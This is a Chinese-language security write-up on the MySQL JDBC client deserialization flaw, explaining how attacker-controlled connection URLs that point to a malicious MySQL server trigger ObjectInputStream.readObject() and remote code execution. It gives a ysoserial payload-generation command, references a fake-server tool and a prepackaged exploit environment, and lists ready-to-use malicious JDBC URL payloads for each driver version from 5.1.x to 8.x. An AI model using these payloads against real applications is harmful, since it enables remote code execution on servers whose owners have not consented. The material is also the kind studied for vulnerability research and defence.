JDBC简介
JDBC(Java DataBase Connectivity)即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法。
示例:
1 | jdbc://driver://host:port/database?配置name1=配置Value1&配置name2=配置Value2 |
漏洞原理
如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。
具体点说,就是通过JDBC连接MySQL服务端时,会有几个内置的SQL查询语句要执行,其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞。
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
漏洞复现
恶意MySQL服务器搭建可参考:
我这里用的是MySQL_Fake_Server
在搭建mysqlserver之前需使用ysoserial生成一个payload
1 | java -jar ysoserial-0.0.5.jar CommonsCollections6 calc > payload |
然后修改server的

修改好以后启动服务
使用 jdbc-payload.zip 我已经打包好的环境run一波。

各种payload小结
需要注意的是,不同的mysql驱动版本不同的姿势。
ServerStatusDiffInterceptor触发点
8.x
如上述Demo:
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
&demo2:
1 | jdbc:mysql://x.x.x.x:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true |
6.x
属性名不同,queryInterceptors换为statementInterceptors:
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
>=5.1.11
包名中没有cj:
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor |
5.x <= 5.1.10
同上,但需要连接后执行查询。
detectCustomCollations触发点
5.1.29 - 5.1.40
1 | jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true |
5.1.28 - 5.1.19
1 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true |